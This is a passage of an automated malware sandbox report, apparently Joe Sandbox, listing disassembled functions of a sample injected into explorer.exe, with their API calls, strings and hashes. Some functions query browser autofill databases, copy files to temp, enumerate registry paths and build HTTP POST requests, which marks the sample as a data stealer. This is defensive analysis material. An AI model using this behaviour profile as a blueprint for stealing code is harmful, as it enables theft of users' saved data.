Part of subcall function 00121162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0012116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00124BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 00124BBF

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 92a56bc2ced3b6b6368695aa7b05d65ba2d3453c0a322badb19213075bc9f064
Instruction ID: 017c7d6194146e7b3b68613b3590b9b570dfa3f1c9d5bdc4e5bc881eb51a0e8e
Opcode Fuzzy Hash: 92a56bc2ced3b6b6368695aa7b05d65ba2d3453c0a322badb19213075bc9f064
Instruction Fuzzy Hash: B1E0D832804230BBC758BB30BC09E4B3B5C9FB5361F10C914B25586091CB31C8A08B50

Function 00121011 Relevance: 2.5, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00121162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0012116F

GetProcessHeap.KERNEL32(00000000,00000000,?,00121A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2), ref: 00121020
HeapFree.KERNEL32(00000000), ref: 00121027

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: 6093c25bc6165c91cdb1603b6baaaf657496b6d16ba7313fd0535b062085021f
Instruction ID: 6f385083144908c4809ad0042320b2fef70ca9c573a17580f2498b5823cf72ce
Opcode Fuzzy Hash: 6093c25bc6165c91cdb1603b6baaaf657496b6d16ba7313fd0535b062085021f
Instruction Fuzzy Hash: B0C08C3100027066C96067B03C0CBCA2B28CF99222F040442B50993542CB628CD082A0

Function 00126512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(001820A4,00000001,00000000,0000000A,00173127,001228DA,00000000,?), ref: 0012BFFC

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7c629a8d01a223269415cfa4738866a1dc916aac974b8dcf83563b892a84b0f5
Instruction ID: b941e5a8e386019c64a545b3cc680f58ac35a01c2aa111f404fc53ced32ffe5a
Opcode Fuzzy Hash: 7c629a8d01a223269415cfa4738866a1dc916aac974b8dcf83563b892a84b0f5
Instruction Fuzzy Hash: 5BE0483278432075F61537F87D47F56154D4BE0F50F604A15F710A90CEEFD592621E26

Function 00123C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 00121B82
Part of subcall function 00121B6A: CloseHandle.KERNEL32(00000000), ref: 00121B8F

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 00123C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00123C76
DeleteFileW.KERNEL32(00000000), ref: 00123C7D
CopyFileW.KERNEL32(?,00000000,00000000), ref: 00123C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 00123D2F
lstrlen.KERNEL32(00000000), ref: 00123D36
wsprintfA.USER32 ref: 00123D55
lstrlen.KERNEL32(00000000), ref: 00123D61
lstrcat.KERNEL32(00000000,?), ref: 00123D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00123DB2
DeleteFileW.KERNEL32(00000000,00000000,?), ref: 00123DED

Strings

SELECT name,value FROM autofill, xrefs: 00123CAA
AUTOFILL, xrefs: 00123DBD, 00123DC2, 00123DCC
%s = %s, xrefs: 00123D4F

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: f4870576fffec9589ff9759b72a6d46a64ca06829a263aa97d09b3fd29d24e87
Instruction ID: 650e0a3edf095005fa48cdc5cd68059ccfdd7fec5d6ad7da7e1700c08a34b156
Opcode Fuzzy Hash: f4870576fffec9589ff9759b72a6d46a64ca06829a263aa97d09b3fd29d24e87
Instruction Fuzzy Hash: AB41DE30204265ABD711AB70AC85D3F7AAEEFE5344F40482CF859A3252DB39CD568B62

Function 00121333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

Part of subcall function 0012106C: lstrlen.KERNEL32(0062B176,00000000,00000000,00000000,00121366,75712B62,0062B176,00000000), ref: 00121074
Part of subcall function 0012106C: MultiByteToWideChar.KERNEL32(00000000,00000000,0062B176,00000001,00000000,00000000), ref: 00121086

Part of subcall function 001212A3: RtlZeroMemory.NTDLL(?,00000018), ref: 001212B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 001213C2
wsprintfW.USER32 ref: 001214B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 00121594

Strings

Accept: */*Referer: %S, xrefs: 001214AF
Content-Type: application/x-www-form-urlencoded, xrefs: 001214FB
POST, xrefs: 00121465

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: b4592787653088b0864cd0228b4c980c4a35b18d388b4bafd075b7c1a0d9b5c9
Instruction ID: 3827ef76a0a70021cfd200c8cbc213d3fa3d63b6f9cff78b93f04500b7ea15a7
Opcode Fuzzy Hash: b4592787653088b0864cd0228b4c980c4a35b18d388b4bafd075b7c1a0d9b5c9
Instruction Fuzzy Hash: 45715771608351AFD710DF24EC88A2BBBE9FBA8344F00492DF959D3251DB30DE948B56

Function 0012A40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 0012A455
memcpy.NTDLL(?,?,?), ref: 0012A479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 0012A4DB
memset.NTDLL ref: 0012A546

Strings

winRead, xrefs: 0012A515

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 87511060261172f0b8e27b826bb7098ad13debb469a4c2dddf424d3574114e11
Instruction ID: 1af4a06fae9bc9f6a27d30c700767a30f265b8b5bdb7a5ba768f0aca9f936351
Opcode Fuzzy Hash: 87511060261172f0b8e27b826bb7098ad13debb469a4c2dddf424d3574114e11
Instruction Fuzzy Hash: E231AD72208390AFC740EE18EC9599FB7EAEFC4310F885929F88587211D7B0ED158B93

Function 00122E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.SHLWAPI(?,?), ref: 00122E4B
RegOpenKeyExW.KERNEL32(?,?,00000000,00020119,?), ref: 00122EE4
RegEnumKeyExW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00122F54
RegCloseKey.KERNEL32(?), ref: 00122F62

Part of subcall function 001219E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A1E
Part of subcall function 001219E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A3C
Part of subcall function 001219E5: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A75
Part of subcall function 001219E5: RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A98

Part of subcall function 00121BC5: lstrlenW.KERNEL32(00000000,00000000,?,00122E75,PathToExe,00000000,00000000), ref: 00121BCC
Part of subcall function 00121BC5: StrStrIW.SHLWAPI(00000000,.exe), ref: 00121BF0
Part of subcall function 00121BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C), ref: 00121C05
Part of subcall function 00121BC5: lstrlenW.KERNEL32(00000000,?,00122E75,PathToExe,00000000,00000000), ref: 00121C1C

Part of subcall function 00121AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 00121B16

Strings

PathToExe, xrefs: 00122E5E

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: bbd8f9bb61ed6d26fffd5c1600ef663a07dd4c872dc71706b88fc362ed43864f
Instruction ID: 23a2b4a06bfff6b50b5b8dee2f1f775da266aeaef6bbb29ff2ea034f8cd55b6a
Opcode Fuzzy Hash: bbd8f9bb61ed6d26fffd5c1600ef663a07dd4c872dc71706b88fc362ed43864f
Instruction Fuzzy Hash: 1F319E316042217F8B15AF21EC15C7F7AAAEFD4350B04852CF85987240EF34CD66DBA1

Function 00124A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

wsprintfW.USER32 ref: 00124AA2
RegCreateKeyExW.KERNEL32(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00124AC7
RegCloseKey.ADVAPI32(?), ref: 00124AD4

Strings

Software, xrefs: 00124A95
%s\%08x, xrefs: 00124A9C

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: 70454fc10c8f3c2799d4faaefddc6412a40191fdfb3f7d95f96c9818af9d1fce
Instruction ID: c4a54de4fef27a231851fe6494f31dafa66bf44cc93de5a4190c7582d25852de
Opcode Fuzzy Hash: 70454fc10c8f3c2799d4faaefddc6412a40191fdfb3f7d95f96c9818af9d1fce
Instruction Fuzzy Hash: FA01FD71600118BFEB18DF94EC8ADBF7BBDEB44744F40016EF909A3141EBB06E949664

Function 00124317 Relevance: 7.6, APIs: 5, Instructions: 64
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alloca_probe.NTDLL ref: 0012431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 00124335
RegEnumKeyExW.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00124363
RegCloseKey.ADVAPI32(?), ref: 001243C8

Part of subcall function 00121953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
Part of subcall function 00121953: lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,?), ref: 00121990
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

Part of subcall function 0012418A: wsprintfW.USER32 ref: 00124212

Part of subcall function 00121011: GetProcessHeap.KERNEL32(00000000,00000000,?,00121A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2), ref: 00121020
Part of subcall function 00121011: HeapFree.KERNEL32(00000000), ref: 00121027

RegEnumKeyExW.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 001243B9

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 6dace84e6cb61018376e8be66f2a79d56e4a8d59273ca3ae07ad70231bd3d535
Instruction ID: 0f4a582640cef3638f2789553a797b0e8f51320cdcb1b2c2989c2e176c7d1a95
Opcode Fuzzy Hash: 6dace84e6cb61018376e8be66f2a79d56e4a8d59273ca3ae07ad70231bd3d535
Instruction Fuzzy Hash: 821142B1104211BFE715DB10DC45DBF77EDFB98344F00452DF489D2150EB74AD989A62

Function 0012B87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0012B8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 0012B96F

Strings

psow, xrefs: 0012BA95
winOpen, xrefs: 0012BA22

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: 7bba879509bd61cded0f5d42994a34d73c345b5bca0afe2079ad1dbc74063911
Instruction ID: 8c1adcf8aeab7823760547a63bd02f115d471d0840fbf3ad6de31dd5488ede3a
Opcode Fuzzy Hash: 7bba879509bd61cded0f5d42994a34d73c345b5bca0afe2079ad1dbc74063911
Instruction Fuzzy Hash: 35718F71A08712AFCB10DF28E8C171AB7E4FF58324F144A2DF96897281D774D964CB92

Function 001219E5 Relevance: 6.1, APIs: 4, Instructions: 89
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A1E
RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A3C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A75
RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A98

Part of subcall function 00121011: GetProcessHeap.KERNEL32(00000000,00000000,?,00121A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2), ref: 00121020
Part of subcall function 00121011: HeapFree.KERNEL32(00000000), ref: 00121027

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: 89e9062c211ef60e23f54e5c77156f6d0ea31f70145755a8b07f85c7ba43d204
Instruction ID: d9d227c52ecb4d07231d3285e260526aa1eec56c71c36ed50d5b0f86bd4d409c
Opcode Fuzzy Hash: 89e9062c211ef60e23f54e5c77156f6d0ea31f70145755a8b07f85c7ba43d204
Instruction Fuzzy Hash: D121A672206391BFEB28CB21ED04F7B77E9EBE4754F040A1DF98993150E721CD948621

Function 00121EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 00121ED5

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00121F0C
RegCloseKey.ADVAPI32(?), ref: 00121F98

Part of subcall function 00121953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,00122F0C), ref: 00121973
Part of subcall function 00121953: lstrlenW.KERNEL32(00176564,?,?,00122F0C), ref: 00121978
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,?), ref: 00121990
Part of subcall function 00121953: lstrcatW.KERNEL32(00000000,00176564), ref: 00121994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00121F82

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: 45e98e96471ce306cd09605c44bf2f9c9341c214a95e096c1d8696f72aa26c57
Instruction ID: 286219d07aedcbb60fdae03e00abde47849787a64f80f656dd70747c87162af4
Opcode Fuzzy Hash: 45e98e96471ce306cd09605c44bf2f9c9341c214a95e096c1d8696f72aa26c57
Instruction Fuzzy Hash: DD218C71208351BFDB059B21EC48D2FBBEDEF98344F00892DF8A992110DB35CD699B22

Function 00121C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00121C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,00123FA8), ref: 00121C56
CloseHandle.KERNEL32(00000000), ref: 00121C91

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 00121C76

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 424873447e1154ba5a622d8a557bca2eb161c4a383d0d56d690168999ecdf683
Instruction ID: d7a5bc3b319b45d8a6110d4335531a1baa9a7457d034a2256123e1519ae34b61
Opcode Fuzzy Hash: 424873447e1154ba5a622d8a557bca2eb161c4a383d0d56d690168999ecdf683
Instruction Fuzzy Hash: 6CF028312002287BC2209B25EC88E7B7B6CDB537F5F120318F809921D0DB125CA54170

Function 00122EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00121011: GetProcessHeap.KERNEL32(00000000,00000000,?,00121A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2), ref: 00121020
Part of subcall function 00121011: HeapFree.KERNEL32(00000000), ref: 00121027

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

RegOpenKeyExW.KERNEL32(?,?,00000000,00020119,?), ref: 00122EE4
RegEnumKeyExW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00122F54
RegCloseKey.KERNEL32(?), ref: 00122F62

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 68629b11e646a02bd44c19d923fd81ea7c0ded22dbf7210882b023d43f1395cd
Instruction ID: 1ed5b3bd436f405fdde5f80228a0f6acd9ebb0f3c3d4ab9f99ace84a513a071e
Opcode Fuzzy Hash: 68629b11e646a02bd44c19d923fd81ea7c0ded22dbf7210882b023d43f1395cd
Instruction Fuzzy Hash: D8016D31204260BB8715AF21EC05DAFBBA9EFE4350F00442DF85992151DB358CA5EBA6

Function 00124B72 Relevance: 4.5, APIs: 3, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00124B74
CoUninitialize.OLE32 ref: 00124B83
ExitProcess.KERNEL32 ref: 00124B8B

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: ExitInitializeProcessUninitialize
String ID:
API String ID: 4175140541-0
Opcode ID: 603ec99f938d6b946d35abebdd4f06720fe5e5db68a9e22ac905263b1a98875a
Instruction ID: 2c06f3277f994229a14e73fde05034cb40af0b72069a414d851d8911584c785b
Opcode Fuzzy Hash: 603ec99f938d6b946d35abebdd4f06720fe5e5db68a9e22ac905263b1a98875a
Instruction Fuzzy Hash: DBC04830284A128BEAC02BE0AC0E7093A74AB14B12F004010F20E8A8A2DBA184D08A22

Function 00129FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 00129FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 0012A00E

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: 2cf234149b4a51f55ddf8ed28ff8e571675fce06f1bd9970121e3b6ae1a9ee43
Instruction ID: 71d046d420302bfb775fb36e0498a4970e5e142012bf4fdac18f75f6488036b3
Opcode Fuzzy Hash: 2cf234149b4a51f55ddf8ed28ff8e571675fce06f1bd9970121e3b6ae1a9ee43
Instruction Fuzzy Hash: 3EF0F673608361BBE7301A54FC84F676B9CDB94B85F504419F945D3180E3706C518375

Function 00121AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00121000: GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
Part of subcall function 00121000: RtlAllocateHeap.NTDLL(00000000), ref: 0012100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000), ref: 00121B16

Part of subcall function 00121011: GetProcessHeap.KERNEL32(00000000,00000000,?,00121A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2), ref: 00121020
Part of subcall function 00121011: HeapFree.KERNEL32(00000000), ref: 00121027

Part of subcall function 001219E5: RegOpenKeyExW.KERNEL32(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A1E
Part of subcall function 001219E5: RegQueryValueExW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A3C
Part of subcall function 001219E5: RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 00121A75
Part of subcall function 001219E5: RegCloseKey.ADVAPI32(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,00121AE2,PortNumber,00000000,00000000), ref: 00121A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00121B40

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: a960fe268025078f398052045cbfb3f1af362e127e98ff2ea0434d821d554c51
Instruction ID: 9021008e45ab3459b33598bab652faee6954ba9c1a9b4480b6ad4aecf7016607
Opcode Fuzzy Hash: a960fe268025078f398052045cbfb3f1af362e127e98ff2ea0434d821d554c51
Instruction Fuzzy Hash: E8F0E9277006A83BD611AA2AEC84D7B36BECBF13AA3160029F41D97245EF126C915274

Function 00129EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02710000,00000000,?), ref: 00129EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 00129ECD

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: 3d5a9280354c7e9ac5aab46d8eba2266eb757c4315ac02c2325a8bbb21e75291
Instruction ID: 9cf49d276134ad51e030f51a7772196f7d02281ff2a6a03797e2f38527999b01
Opcode Fuzzy Hash: 3d5a9280354c7e9ac5aab46d8eba2266eb757c4315ac02c2325a8bbb21e75291
Instruction Fuzzy Hash: BBE0C2376082207BC2132788BC05F6FB76CDBA4F10F014015FA04A3AA0C7309D5287A2

Function 00121B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000), ref: 00121B82
CloseHandle.KERNEL32(00000000), ref: 00121B8F

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 2a2a8cad3848b09691b7c5a2d4bb2cbe75e3da0e5d22d5f16f5fea1df3009cfc
Instruction ID: f9a4858d9abd3440f7b048c715a2d36569a44837d26cf25bcba249204a525e8b
Opcode Fuzzy Hash: 2a2a8cad3848b09691b7c5a2d4bb2cbe75e3da0e5d22d5f16f5fea1df3009cfc
Instruction Fuzzy Hash: 50D017B1253A3072E5B5AB357C0CEA76E3DDF07AB5B040614B41DD54D0E3248CD786E0

Function 00129EE8 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(02710000,00000000,?), ref: 00129EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 00129F0E

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: 5392c09a5d65b36b18e495d233d279fad1176267af3498819e97b19f04300e9c
Instruction ID: 8638513321ea7db594f749cd94711f9b4fd9e650584016de51fa424e23a84de7
Opcode Fuzzy Hash: 5392c09a5d65b36b18e495d233d279fad1176267af3498819e97b19f04300e9c
Instruction Fuzzy Hash: 92D0C27310C3007BC3011B54EC01F2B7B3CAFA5B00F040008F104924A5C37054A1AB21

Function 00121000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,001211C7,?,?,00000001,00000000,?), ref: 00121003
